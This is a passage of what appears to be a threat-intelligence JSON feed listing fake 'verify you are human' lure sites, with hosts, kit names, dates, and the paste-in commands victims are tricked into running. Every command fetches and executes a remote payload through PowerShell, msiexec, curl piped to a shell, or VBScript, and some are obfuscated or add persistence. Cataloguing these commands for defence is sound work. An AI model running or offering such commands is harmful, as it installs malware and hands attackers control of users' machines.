-OutF '$($pwd)116[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)116[.]zip','$($pwd)116'); attrib +h +s '$($pwd)116'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'shade_grey_leaf' -val '$($pwd)116bin.exe'; saps -F '$($pwd)116bin.exe' -Wo '$($pwd)116'","lastSeen":"2026-10-14","firstSeen":"2026-10-13"},{"url":"hxxps://bingixllc[.]com/58ipaB61LkhoZoi4","host":"bingixllc[.]com","kits":["embedshade"],"urls":6,"sites":8,"command":"powershell -nop -c \"$f=$env:TEMP+'\\clakr.ps1';curl.exe -sk -o $f 'hxxps://bingixllc[.]com/58ipaB61LkhoZoi4';powershell -ep bypass -File $f\"","lastSeen":"2026-11-04","firstSeen":"2026-10-23"},{"url":"hxxps://cf-relay[.]sbs/lf4nbvopfkwsx1","host":"cf-relay[.]sbs","kits":["skinframe"],"urls":8,"sites":8,"command":"MsIeXEC.exe /i https:/\\cf-relay[.]sbs\\lf4nbvopfkwsx1 /QN S1=\"Diа​gnоstiс Uрd​аtе                                                 Т​о  vеr​ify  рus​h  th​е  ЕNT​ЕR  kе​y             \"","lastSeen":"2026-10-22","firstSeen":"2026-10-21"},{"url":"hxxps://cloudyredirect[.]online/get_verify?i=4208&a=","host":"cloudyredirect[.]online","kits":["overlaywar"],"urls":12,"sites":8,"command":"iwr -Uri ('hxxps://cloudyredirect[.]online/get_verify?i=4208&a='+([Uri]::EscapeDataString((Get-CimInstance Win32_ComputerSystem).Domain))+'&b='+((Get-CimInstance Win32_ComputerSystem).PartOfDomain)) -OutF '$($pwd)202[.]zip' -UseB; Add-Type -A System.IO.Compression.FileSystem; [IO.Compression.ZipFile]::ExtractToDirectory('$($pwd)202[.]zip','$($pwd)202'); attrib +h +s '$($pwd)202'; sp 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun' -na 'beach_stone_elderberry' -val '$($pwd)202bin.exe'; saps -F '$($pwd)202bin.exe' -Wo '$($pwd)202'","lastSeen":"2026-10-14","firstSeen":"2026-10-12"},{"url":"hxxps://id-cf[.]com/xi6vje7lbfffom","host":"id-cf[.]com","kits":["skinframe"],"urls":8,"sites":8,"command":"MsiEXEc.exe /i https:/\\id-cf[.]com\\xi6vje7lbfffom /QN S1=\"S​есur​ity Мо​nitо​r                                                  Т​о  vеrif​y  рus​h  th​е  ЕNTЕ​R  k​еy             \"","lastSeen":"2026-10-20","firstSeen":"2026-10-19"},{"url":"hxxps://lens80[.]com/curl/jcpqtd6mc/luwhovem7whnfhext2tspeyi.json","host":"lens80[.]com","kits":["bwpanel","lenai"],"urls":1,"sites":8,"command":"curl -s $(echo \"[base64 of: hxxps://lens80[.]com/curl/jcpqtd6mc/luwhovem7whnfhext2tspeyi.json]\" | openssl base64 -d -A) | zsh","lastSeen":"2026-10-13","firstSeen":"2026-10-05"},{"url":"hxxps://seaopencd[.]com/win/mlyssx/6c42c7a3.exe","host":"seaopencd[.]com","kits":["lenai"],"urls":10,"sites":8,"command":"powershell -w h -ep b -c \"$t=$env:TEMP;iwr 'hxxps://seaopencd[.]com/win/mlyssx/6c42c7a3.exe' -O $t\\x.exe;Unblock-File $t\\x.exe -ea 0;& $t\\x.exe\"","lastSeen":"2026-10-18","firstSeen":"2026-10-11"},{"url":"hxxp://astroznenekey[.]com/","host":"astroznenekey[.]com","kits":["embedshade","xorveil"],"urls":2,"sites":7,"command":"$f=$env:TEMP+'\\x.ps1';irm ('astroznenekey[.]com/'+'dRumgePjnWEuabeNP') -OutFile $f;$e=[Management.Automation.Language.Parser]::ParseFile($f,[ref]$null,[ref]$null);&($e.GetScriptBlock())","lastSeen":"2026-09-25","firstSeen":"2026-09-25"},{"url":"hxxp://foxhood[.]net","host":"foxhood[.]net","kits":["skinframe"],"urls":1,"sites":7,"command":"powershell $FMpy='ExportedCommands';$eaL='Keys';$UoBV='g';$mo='mo'.toString();$UoBV=$UoBV+$mo;$FTT=@(foreach($rkAT in .$UoBV -List){$rkAT.$FMpy.$eaL});$Ieq=$FTT-clike'*o*x*r*n';$Ulw=$FTT-clike'*-R*M*h*';$Ulw=.$Ulw foxhood[.]net;$Ieq=.$Ieq $Ulw;","lastSeen":"2026-11-02","firstSeen":"2026-10-27"},{"url":"hxxp://sloughandnephrite[.]com/wave","host":"sloughandnephrite[.]com","kits":["pixelmenu","smartapesg"],"urls":1,"sites":7,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set f=cu&set d=rl&for %g in (%LocalAppData%\\prospect.hta) do !f!!d! -skLo \"%g\" sloughandnephrite[.]com/wave& start \"\" \"%g\")\"","lastSeen":"2026-10-16","firstSeen":"2026-10-15"},{"url":"hxxp://spielportal[.]com/cj5JpRGuScm5B9ok7","host":"spielportal[.]com","kits":["embedshade","lenai"],"urls":1,"sites":7,"command":"$a=irm 'spielportal[.]com/cj5JpRGuScm5B9ok7';$o=[pscustomobject]@{v=1};$o|Add-Member ScriptProperty p ([ScriptBlock]::Create($a));$o.p|Out-Null","lastSeen":"2026-09-09","firstSeen":"2026-09-02"},{"url":"hxxp://browscheck[.]codes/b4351749235e8002","host":"browscheck[.]codes","kits":["lenai"],"urls":6,"sites":6,"command":"irm 'browscheck[.]codes/b4351749235e8002'|iex","lastSeen":"2026-10-01","firstSeen":"2026-09-30"},{"url":"hxxps://distnode[.]biz/deploy-named-queue/macro","host":"distnode[.]biz","kits":["lenai"],"urls":2,"sites":6,"command":"msiexec /q /i hxxps://distnode[.]biz/deploy-named-queue/macro","lastSeen":"2026-11-02","firstSeen":"2026-10-11"},{"url":"hxxps://lD-me[.]cfd/uk89ucudnoryj6","host":"ld-me[.]cfd","kits":["skinframe"],"urls":6,"sites":6,"command":"msieXeC.exe /i https:/\\lD-me[.]cfd\\uk89ucudnoryj6 /QN S1=\"Маnаgе5еnt  Diаgnоsti6  Stоrаg7  2еаdy                        𝚃​𝚘  𝚟𝚎𝚛𝚒​𝚏𝚢  𝚙𝚞𝚜​𝚑  𝚝​𝚑𝚎  𝙴𝙽𝚃𝙴​𝚁  𝚔​𝚎𝚢          \"","lastSeen":"2026-10-23","firstSeen":"2026-10-23"},{"url":"hxxp://leebin101[.]com/r","host":"leebin101[.]com","kits":["dualprompt"],"urls":1,"sites":6,"command":"","lastSeen":"2026-09-25","firstSeen":"2026-09-24"},{"url":"hxxps://moss[.]coffeecommongrounds[.]com/pidor.ps1","host":"moss[.]coffeecommongrounds[.]com","kits":["bwpanel"],"urls":1,"sites":6,"command":"IEX((New-Object Net.WebClient).DownloadString('hxxps://moss[.]coffeecommongrounds[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY ------------------------","lastSeen":"2026-10-17","firstSeen":"2026-10-15"},{"url":"hxxp://rangenine[.]com/assets/verify","host":"rangenine[.]com","kits":["shieldbeaver"],"urls":2,"sites":6,"command":"msiexec /i hxxp://rangenine[.]com/assets/verify","lastSeen":"2026-10-13","firstSeen":"2026-09-07"},{"url":"hxxps://still-snow-667e[.]protexweer[.]workers[.]dev/gd?id=abc520da-5ea341f2","host":"still-snow-667e[.]protexweer[.]workers[.]dev","kits":["statustail"],"urls":1,"sites":6,"command":"","lastSeen":"2026-10-24","firstSeen":"2026-09-01"},{"url":"hxxp://144[.]31[.]169[.]27/Vavopalu","host":"144[.]31[.]169[.]27","kits":["lenai"],"urls":2,"sites":5,"command":"$(curl -fsSL hxxp://144[.]31[.]169[.]27/Vavopalu)","lastSeen":"2026-09-22","firstSeen":"2026-09-07"},{"url":"hxxps://193-233-126-53[.]sslip[.]io/d3f8a142c9/verification.sct","host":"193-233-126-53[.]sslip[.]io","kits":["chainbite"],"urls":1,"sites":5,"command":"pcalua.exe -a cmd -c \"/c curl.exe -s hxxps://193-233-126-53[.]sslip[.]io/d3f8a142c9/verification.sct -o %TEMP%\\v.sct&&regsvr32 /s /n /u /i:%TEMP%\\v.sct scrobj.dll\"","lastSeen":"2026-10-27","firstSeen":"2026-10-03"},{"url":"hxxp://api[.]cuestmoon[.]com/gtr","host":"api[.]cuestmoon[.]com","kits":["smartapesg"],"urls":1,"sites":5,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\NHEWS.hta) do !x!!c! -skLo \"%y\" api[.]cuestmoon[.]com/gtr& start \"\" \"%y\")\"","lastSeen":"2026-10-13","firstSeen":"2026-10-12"},{"url":"hxxps://bnsbackend[.]mydevsystems[.]com/redirect","host":"bnsbackend[.]mydevsystems[.]com","kits":["shieldbeaver"],"urls":1,"sites":5,"command":"msiexec /i hxxps://bnsbackend[.]mydevsystems[.]com/redirect /qn","lastSeen":"2026-10-11","firstSeen":"2026-09-07"},{"url":"hxxps://checkms5[.]cc/ps/traffic?r=83e7","host":"checkms5[.]cc","kits":["xorveil"],"urls":5,"sites":5,"command":"irm hxxps://checkms5[.]cc/ps/traffic?r=83e7|iex","lastSeen":"2026-09-28","firstSeen":"2026-09-28"},{"url":"hxxps://coral79[.]com/curl/qgxizgwbqv/8hicwyf19i21eeck4s.json","host":"coral79[.]com","kits":["bwpanel","lenai"],"urls":1,"sites":5,"command":"curl -s $(echo \"[base64 of: hxxps://coral79[.]com/curl/qgxizgwbqv/8hicwyf19i21eeck4s.json]\" | openssl base64 -d -A) | zsh ; curl -fsS 'hxxps://cleanavcheskre[.]com/x/proliv2929' >/dev/null","lastSeen":"2026-10-01","firstSeen":"2026-09-29"},{"url":"hxxps://duranvebwiewllc[.]com/It9HL8vPg8oU23WvF","host":"duranvebwiewllc[.]com","kits":["embedshade","xorveil"],"urls":4,"sites":5,"command":"[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'hxxps://duranvebwiewllc[.]com/It9HL8vPg8oU23WvF' -UseBasicParsing -OutFile $env:TEMP123.ps1;powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMP123.ps1","lastSeen":"2026-10-06","firstSeen":"2026-09-29"},{"url":"hxxps://ghost[.]nestdns[.]com/files","host":"ghost[.]nestdns[.]com","kits":["timbercheck"],"urls":1,"sites":5,"command":"cmd.exe /c powershell -w h -ep Bypass -nop -c \"$d='p.ps1';$y=$env:USERPROFILE+'\\\\Downloads\\\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('hxxps://ghost[.]nestdns[.]com/files', $y);& $y;Remove-Item $y -Force;\"","lastSeen":"2026-10-11","firstSeen":"2026-10-04"},{"url":"hxxp://inkbookwriters[.]com/verify","host":"inkbookwriters[.]com","kits":["timbercheck"],"urls":1,"sites":5,"command":"msiexec /i hxxp://inkbookwriters[.]com/verify /qn","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxps://miumaco[.]space/loader_v2[.]sh?build=Claud&owner=Wim6BQfc","host":"miumaco[.]space","kits":["lenai"],"urls":1,"sites":5,"command":"curl -s $(echo \"[base64 of: hxxps://miumaco[.]space/loader_v2[.]sh?build=Claud&owner=Wim6BQfc]\" | base64 -d) | zsh ; curl -fsS 'hxxps://hagosuro[.]lc/api?t=c53b4796704f82fc1c4d20f58ef1b7f6364c0fcf&track=1&event=launch_ok' >/dev/null","lastSeen":"2026-11-04","firstSeen":"2026-10-11"},{"url":"hxxps://renotad[.]com/lom1/4db92c9facd705da","host":"renotad[.]com","kits":["lenai"],"urls":5,"sites":5,"command":"(irm 'hxxps://renotad[.]com/lom1/4db92c9facd705da' -UserAgent 'WUA/fff7c63a77' -Headers @{'X-WUA'='fff7c63a77'})|iex","lastSeen":"2026-10-28","firstSeen":"2026-10-05"},{"url":"hxxps://WWW-cf[.]sbs/7faq71wpp5i2ml","host":"www-cf[.]sbs","kits":["lenai","skinframe"],"urls":5,"sites":5,"command":"MSieXeC.exe /i https:/\\WWW-cf[.]sbs\\7faq71wpp5i2ml /QN S1=\"с0rе  r3аdy  8urrоgаtе  7аss                                  𝗧​𝗼  𝘃𝗲𝗿​𝗶𝗳𝘆  𝗽​𝘂𝘀𝗵  𝘁​𝗵𝗲  𝗘𝗡​𝗧𝗘𝗥  𝗸​𝗲𝘆          \"","lastSeen":"2026-11-01","firstSeen":"2026-10-31"},{"url":"hxxp://109[.]238[.]87[.]111/d/unix72040355","host":"109[.]238[.]87[.]111","kits":["lenai"],"urls":2,"sites":4,"command":"echo \"[base64 of: curl -s -o /tmp/chrome hxxp://109[.]238[.]87[.]111/d/unix72040355; chmod +x /tmp/chrome; /tmp/chrome > /dev/null 2>&1 & disown]\" | base64 -d | bash; curl -fsS 'hxxps://cleanavcheskre[.]com/x/ug' >/dev/null","lastSeen":"2026-10-24","firstSeen":"2026-10-15"},{"url":"hxxp://178[.]17[.]59[.]195:5506/ll.vbs","host":"178[.]17[.]59[.]195","kits":["timbercheck"],"urls":1,"sites":4,"command":"cmd /c \"curl -s hxxp://178[.]17[.]59[.]195:5506/ll.vbs -o %temp%\\ll.vbs >nul && wscript.exe //B //E:VBScript %temp%\\ll.vbs\"","lastSeen":"2026-10-11","firstSeen":"2026-09-20"},{"url":"hxxp://cocuktekstil[.]com/r","host":"cocuktekstil[.]com","kits":["dualprompt"],"urls":1,"sites":4,"command":"","lastSeen":"2026-10-02","firstSeen":"2026-09-30"},{"url":"hxxps://dns-ssl[.]com/mgk9wvvm4RfVNWO2GN","host":"dns-ssl[.]com","kits":["embedshade","lenai","pixelsplice","xorveil"],"urls":3,"sites":4,"command":"[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'hxxps://dns-ssl[.]com/mgk9wvvm4RfVNWO2GN' -UseBasicParsing -OutFile $env:TEMP123.ps1;powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMP123.ps1","lastSeen":"2026-10-03","firstSeen":"2026-09-25"},{"url":"hxxps://lion[.]elfrias[.]com/pidor.ps1","host":"lion[.]elfrias[.]com","kits":["bwpanel"],"urls":1,"sites":4,"command":"IEX((New-Object Net.WebClient).DownloadString('hxxps://lion[.]elfrias[.]com/pidor.ps1')) # ------------------------ PRESS  ENTER TO VERIFY ------------------------","lastSeen":"2026-10-15","firstSeen":"2026-10-14"},{"url":"hxxps://nonprofitrole[.]com/GMthlyLoTD7g5J4UnA","host":"nonprofitrole[.]com","kits":["branchhop","embedshade","xorveil"],"urls":4,"sites":4,"command":"[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;Invoke-WebRequest -Uri 'hxxps://nonprofitrole[.]com/GMthlyLoTD7g5J4UnA' -UseBasicParsing -OutFile $env:TEMP123.ps1;powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMP123.ps1","lastSeen":"2026-10-06","firstSeen":"2026-09-29"},{"url":"hxxps://pkgsetup3[.]tools/otak6seusoo","host":"pkgsetup3[.]tools","kits":["lenai"],"urls":2,"sites":4,"command":"$(curl -fsSL hxxps://pkgsetup3[.]tools/otak6seusoo)","lastSeen":"2026-11-04","firstSeen":"2026-10-30"},{"url":"hxxp://preconnecto[.]com/IntegraTester.php?ver=34323455","host":"preconnecto[.]com","kits":["branchhop"],"urls":1,"sites":4,"command":"MSiexec /PaCKAᵍᵉ \"http:\\\\preconnecto[.]com\\IntegraTester.php?ver=34323455\" -Q","lastSeen":"2026-10-06","firstSeen":"2026-10-06"},{"url":"hxxp://seccheckusr[.]com","host":"seccheckusr[.]com","kits":["branchhop"],"urls":1,"sites":4,"command":"powershell -NoProfile -c \"$z='seccheckusr[.]com';@(0)|&([char]37){'jq38k'}|&([char]37){&([ScriptBlock]::Create($(@(0)|&([char]37){&('{0}{1}{2}'-f'Invo','ke-','RestMethod') $z}|&('Select'+'-'+'Object') -f 1)))}\"","lastSeen":"2026-10-29","firstSeen":"2026-10-27"},{"url":"hxxp://soft-storage[.]top/worker?=6526700278/admin_click","host":"soft-storage[.]top","kits":[],"urls":2,"sites":4,"command":"","lastSeen":"2026-10-29","firstSeen":"2026-10-04"},{"url":"hxxps://verifyidentitypc[.]com/success","host":"verifyidentitypc[.]com","kits":[],"urls":2,"sites":4,"command":"msiexec /qn /i \"hxxps://verifyidentitypc[.]com/success\" /l*v \"%TEMP%Verification completed successfully. Security ID: 492132.","lastSeen":"2026-10-17","firstSeen":"2026-09-26"},{"url":"hxxps://vine-reserve-club-bakup-prod[.]s3[.]us-east-1[.]amazonaws[.]com/p.ps1","host":"vine-reserve-club-bakup-prod[.]s3[.]us-east-1[.]amazonaws[.]com","kits":["offerlodge"],"urls":1,"sites":4,"command":"& {curl.exe -s hxxps://vine-reserve-club-bakup-prod[.]s3[.]us-east-1[.]amazonaws[.]com/p.ps1 -o $env:TEMPcf.ps1; [scriptblock]::Create((gc $env:TEMPcf.ps1 -Raw)).Invoke()}__V__E__R__I___F__I__E__D ________________________________","lastSeen":"2026-10-12","firstSeen":"2026-10-12"},{"url":"hxxp://warmal[.]net","host":"warmal[.]net","kits":["chainbite"],"urls":1,"sites":4,"command":"powershell $xSm=@(foreach($dHxY in gmo -List){$dHxY.ExportedCommands.Keys});$XlpFq=$xSm-clike'*o*x*r*n';$HiIr=$xSm-clike'*-R*M*h*';$HiIr=.$HiIr warmal[.]net;$XlpFq=.$XlpFq $HiIr;","lastSeen":"2026-10-25","firstSeen":"2026-10-20"},{"url":"hxxps://yaebalciganovvjopu[.]org/h/c/dafc8f2722b34086&echo","host":"yaebalciganovvjopu[.]org","kits":["lenai"],"urls":4,"sites":4,"command":"cmd /c \"(echo cd /d %~dp0&echo copy /b /y %windir%\\system32\\c?rl.exe x1.exe&echo .\\x1.exe -sLoa.cmd hxxps://yaebalciganovvjopu[.]org/h/c/dafc8f2722b34086&echo .\\a.cmd&echo del a.cmd x1.exe)>%PUBLIC%\\t.cmd& pcalua -a %PUBLIC%\\t.cmd&rem reCaptcha ID: 707867\"","lastSeen":"2026-11-04","firstSeen":"2026-11-03"},{"url":"hxxp://185[.]100[.]157[.]126/script","host":"185[.]100[.]157[.]126","kits":["drivesurge","lenai"],"urls":1,"sites":3,"command":"powershell -WI mINImi $TE=wget 185[.]100[.]157[.]126/script -Useb;iex $TE`;#-------------------------------Verify_you_are_human--------press_Enter---","lastSeen":"2026-10-27","firstSeen":"2026-09-13"},{"url":"hxxp://95[.]164[.]53[.]115:5506/do.vbs","host":"95[.]164[.]53[.]115","kits":["timbercheck"],"urls":1,"sites":3,"command":"cmd /c echo Set h=CreateObject(\"WinHttp.WinHttpRequest.5.1\"):h[.]Open \"GET\",\"hxxp://95[.]164[.]53[.]115:5506/do.vbs\",0:h.Send:Execute h.ResponseText > \"%temp%do.tmp\" && wscript //E:VBScript \"%temp%do.tmp\"","lastSeen":"2026-10-11","firstSeen":"2026-09-06"},{"url":"hxxps://allowcsxan2[.]site/ps/traffic?r=86fa","host":"allowcsxan2[.]site","kits":["overlaywar","xorveil"],"urls":3,"sites":3,"command":"irm hxxps://allowcsxan2[.]site/ps/traffic?r=86fa|iex","lastSeen":"2026-10-03","firstSeen":"2026-10-02"},{"url":"hxxps://api-c[.]cfd/dnool1cvynr76h","host":"api-c[.]cfd","kits":["skinframe"],"urls":3,"sites":3,"command":"mSIeXec.exe /i https:/\\api-c[.]cfd\\dnool1cvynr76h /QN S1=\"s8nс  Маnаgеm8nt  сас8е  7iаgnоstiс                           𝚃​𝚘  𝚟𝚎​𝚛𝚒𝚏𝚢  𝚙𝚞𝚜​𝚑  𝚝𝚑​𝚎  𝙴𝙽𝚃​𝙴𝚁  𝚔𝚎​𝚢          \"","lastSeen":"2026-10-23","firstSeen":"2026-10-22"},{"url":"hxxps://berrysoai[.]com/check/update.ps1","host":"berrysoai[.]com","kits":[],"urls":1,"sites":3,"command":"powershell -w h -ep bypass -c \"iex((iwr 'hxxps://berrysoai[.]com/check/update.ps1' -UseBasicParsing -UserAgent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/536.36 Safari/537.37 Edg/145[.]0[.]0[.]0').Content)\"","lastSeen":"2026-09-27","firstSeen":"2026-09-26"},{"url":"hxxps://buildkit95[.]tools/cpuym47gkp","host":"buildkit95[.]tools","kits":["lenai"],"urls":1,"sites":3,"command":"$(curl -fsSL hxxps://buildkit95[.]tools/cpuym47gkp)","lastSeen":"2026-11-04","firstSeen":"2026-11-03"},{"url":"hxxp://ccudmcx[.]xyz/u","host":"ccudmcx[.]xyz","kits":["quietchisel"],"urls":1,"sites":3,"command":"","lastSeen":"2026-10-13","firstSeen":"2026-09-10"},{"url":"hxxps://CFwww[.]cfd/s4svbr1pk87k8t","host":"cfwww[.]cfd","kits":["skinframe"],"urls":3,"sites":3,"command":"msIExec.exe /i https:/\\CFwww[.]cfd\\s4svbr1pk87k8t /QN S1=\"соr6  Моn3tоr  Васkgrоun4  In9tаllеr                          𝗧​𝗼  𝘃𝗲𝗿𝗶𝗳​𝘆  𝗽𝘂​𝘀𝗵  𝘁​𝗵𝗲  𝗘​𝗡𝗧𝗘𝗥  𝗸​𝗲𝘆          \"","lastSeen":"2026-11-04","firstSeen":"2026-11-03"},{"url":"hxxps://checkrobotbb[.]pw/ps/traffic?r=40bc","host":"checkrobotbb[.]pw","kits":["la02","overlaywar","xorveil"],"urls":3,"sites":3,"command":"irm hxxps://checkrobotbb[.]pw/ps/traffic?r=40bc|iex","lastSeen":"2026-09-23","firstSeen":"2026-09-22"},{"url":"hxxps://chekcms432[.]cc/ps/traffic?r=8f07","host":"chekcms432[.]cc","kits":["overlaywar","xorveil"],"urls":3,"sites":3,"command":"irm hxxps://chekcms432[.]cc/ps/traffic?r=8f07|iex","lastSeen":"2026-10-03","firstSeen":"2026-09-30"},{"url":"hxxp://domlitonck[.]com/check/update.ps1","host":"domlitonck[.]com","kits":["hexmage","lenai"],"urls":1,"sites":3,"command":"irm domlitonck[.]com/check/update.ps1|iex","lastSeen":"2026-10-27","firstSeen":"2026-10-22"},{"url":"hxxp://genovaw[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336","host":"genovaw[.]com","kits":["dualprompt"],"urls":1,"sites":3,"command":"curl -kfsSL $(echo '[base64 of: hxxp://genovaw[.]com/curl/001e07c934e19b9d10f621c6b7546b43b2fb1c7b8fce2625fc7b767dfb626336]'|base64 -D)|zsh","lastSeen":"2026-09-22","firstSeen":"2026-09-16"},{"url":"hxxp://gog-current-cupkey[.]com/ad591ed9-6679-4660-b659-20116a7f7d70","host":"gog-current-cupkey[.]com","kits":["bwpanel","timbercheck"],"urls":1,"sites":3,"command":"irm gog-current-cupkey[.]com/ad591ed9-6679-4660-b659-20116a7f7d70 | iex","lastSeen":"2026-09-30","firstSeen":"2026-09-26"},{"url":"hxxp://gulchandlapis[.]com/hns","host":"gulchandlapis[.]com","kits":["smartapesg"],"urls":1,"sites":3,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\HUREAG.hta) do !x!!c! -skLo \"%y\" gulchandlapis[.]com/hns& start \"\" \"%y\")\"","lastSeen":"2026-10-08","firstSeen":"2026-10-07"},{"url":"hxxps://hashedsolver[.]icu/update1.ps1","host":"hashedsolver[.]icu","kits":["monitormolar"],"urls":1,"sites":3,"command":"powershell -nop -w h -ep bypass -c \"`$krp=New-Object Net.WebClient;`$dpq=`$krp.DownloadString('hxxps://hashedsolver[.]icu/update1.ps1');.([scriptblock]::create(`$dpq))\"","lastSeen":"2026-09-08","firstSeen":"2026-09-07"},{"url":"hxxp://jasaxoptim[.]com/PLzdo6sQyUSjV75AlL","host":"jasaxoptim[.]com","kits":["embedshade"],"urls":1,"sites":3,"command":"$a=&(gcm Invoke-RestMethod) 'hxxp://jasaxoptim[.]com/PLzdo6sQyUSjV75AlL';&(gcm *voke-Ex*)($a)","lastSeen":"2026-09-06","firstSeen":"2026-09-06"},{"url":"hxxps://managedhosting[.]space/0fb84918c131bb13","host":"managedhosting[.]space","kits":["lenai"],"urls":1,"sites":3,"command":"irm 'hxxps://managedhosting[.]space/0fb84918c131bb13'|iex","lastSeen":"2026-11-02","firstSeen":"2026-11-01"},{"url":"hxxp://neebyishaka[.]com/check/update.ps1","host":"neebyishaka[.]com","kits":["adminshade"],"urls":1,"sites":3,"command":"irm neebyishaka[.]com/check/update.ps1|iex","lastSeen":"2026-11-04","firstSeen":"2026-10-29"},{"url":"hxxps://pakistanskimalchik[.]org/h/c/558d7c55341c94a0&echo","host":"pakistanskimalchik[.]org","kits":["lenai"],"urls":3,"sites":3,"command":"cmd /c \"(echo cd /d %~dp0&echo copy /b /y %windir%\\system32\\c?rl.exe x1.exe&echo .\\x1.exe -sLoa.cmd hxxps://pakistanskimalchik[.]org/h/c/558d7c55341c94a0&echo .\\a.cmd&echo del a.cmd x1.exe)>%PUBLIC%\\t.cmd& pcalua -a %PUBLIC%\\t.cmd&rem reCaptcha ID: 957435\"","lastSeen":"2026-10-31","firstSeen":"2026-10-30"},{"url":"hxxps://pizzabyte[.]com[.]au/smartdetection/deviceverification/CF/path/captcha","host":"pizzabyte[.]com[.]au","kits":["timbercheck"],"urls":1,"sites":3,"command":"msiexec /i hxxps://pizzabyte[.]com[.]au/smartdetection/deviceverification/CF/path/captcha","lastSeen":"2026-10-18","firstSeen":"2026-09-22"},{"url":"hxxp://unbowal[.]com","host":"unbowal[.]com","kits":["skinframe"],"urls":1,"sites":3,"command":"powershell $yWTA=gmo -Li|ForEach-Object { $_.ExportedCommands.Keys }|Sort-Object -Unique;$Cap=$yWTA-clike'*o*x*r*n';$GDthi=$yWTA-clike'*-R*M*h*';$GDthi=.$GDthi unbowal[.]com;$Cap=.$Cap $GDthi;","lastSeen":"2026-10-14","firstSeen":"2026-10-13"},{"url":"hxxp://178[.]17[.]59[.]40:5506/qk.vbs","host":"178[.]17[.]59[.]40","kits":["timbercheck"],"urls":1,"sites":2,"command":"cmd /c \"curl -s hxxp://178[.]17[.]59[.]40:5506/qk.vbs -o %temp%\\qk.vbs >nul && wscript.exe //B //E:VBScript %temp%\\qk.vbs\"","lastSeen":"2026-10-17","firstSeen":"2026-10-11"},{"url":"hxxps://1foqo[.]lat/core","host":"1foqo[.]lat","kits":["twintail"],"urls":1,"sites":2,"command":"","lastSeen":"2026-09-20","firstSeen":"2026-09-06"},{"url":"hxxp://1rvrental[.]com/r","host":"1rvrental[.]com","kits":["dualprompt"],"urls":1,"sites":2,"command":"","lastSeen":"2026-10-09","firstSeen":"2026-10-06"},{"url":"hxxp://47[.]243[.]127[.]162/menu.bat","host":"47[.]243[.]127[.]162","kits":[],"urls":1,"sites":2,"command":"cmd /c \"curl -o %TEMP%\\menu.bat hxxp://47[.]243[.]127[.]162/menu.bat && %TEMP%\\menu.bat\"","lastSeen":"2026-09-21","firstSeen":"2026-09-21"},{"url":"hxxp://78[.]40[.]209[.]164:5506/wk.vbs","host":"78[.]40[.]209[.]164","kits":["timbercheck"],"urls":1,"sites":2,"command":"cmd /c echo Set h=CreateObject(\"WinHttp.WinHttpRequest.5.1\"):h[.]Open \"GET\",\"hxxp://78[.]40[.]209[.]164:5506/wk.vbs\",0:h.Send:Execute h.ResponseText > \"%temp%wk.vbs\" && \"%temp%wk.vbs\"","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxp://85[.]239[.]149[.]16/CloudFlare_Verification_Code_845270","host":"85[.]239[.]149[.]16","kits":["tokentooth"],"urls":2,"sites":2,"command":"powershell -c \"iex(irm '85[.]239[.]149[.]16/CloudFlare_Verification_Code_845270' -UseBasicParsing)\"","lastSeen":"2026-09-07","firstSeen":"2026-09-06"},{"url":"hxxp://86[.]54[.]25[.]213/d/unix32294578","host":"86[.]54[.]25[.]213","kits":["twintail"],"urls":1,"sites":2,"command":"clear\necho \"Loading... Please Wait\"\ncurl -s hxxp://86[.]54[.]25[.]213/d/unix32294578 > /tmp/unix001\nchmod +x /tmp/unix001\n/tmp/unix001 > /dev/null 2>&1 & disown","lastSeen":"2026-09-20","firstSeen":"2026-09-06"},{"url":"hxxps://alababababa[.]cloud/cVGvQio6.txt","host":"alababababa[.]cloud","kits":["birdeye"],"urls":1,"sites":2,"command":"","lastSeen":"2026-10-11","firstSeen":"2026-10-11"},{"url":"hxxp://alluringsites[.]com/curl/bd2992d8187bf661299aa2355ea13650bc415eb2870588d237c82061805a78d6","host":"alluringsites[.]com","kits":["adminshade","lenai","xorveil"],"urls":1,"sites":2,"command":"curl -kfsSL $(echo '[base64 of: hxxp://alluringsites[.]com/curl/bd2992d8187bf661299aa2355ea13650bc415eb2870588d237c82061805a78d6]'|base64 -D)|zsh","lastSeen":"2026-11-03","firstSeen":"2026-10-29"},{"url":"hxxps://API-net[.]cfd/u14ssp8wsbfcdc","host":"api-net[.]cfd","kits":["drivesurge","lenai","overlaywar","skinframe","twinkey"],"urls":2,"sites":2,"command":"mSIEXeC.exe /i https:/\\API-net[.]cfd\\u14ssp8wsbfcdc /QN S1=\"Рrосеs8  Васk2rоund  4оnе  7оnitоr                            𝗧​𝗼  𝘃𝗲𝗿𝗶​𝗳𝘆  𝗽𝘂𝘀​𝗵  𝘁​𝗵𝗲  𝗘𝗡𝗧​𝗘𝗥  𝗸𝗲​𝘆          \"","lastSeen":"2026-10-30","firstSeen":"2026-10-30"},{"url":"hxxp://api[.]tundstone[.]com/drs","host":"api[.]tundstone[.]com","kits":["smartapesg"],"urls":1,"sites":2,"command":"%COMSPEC% /c start \"\" /min %COMSPEC% /c %COMSPEC% /v:on /c \"(set x=cu&set c=rl&for %y in (%LocalAppData%\\NHEWS.hta) do !x!!c! -skLo \"%y\" 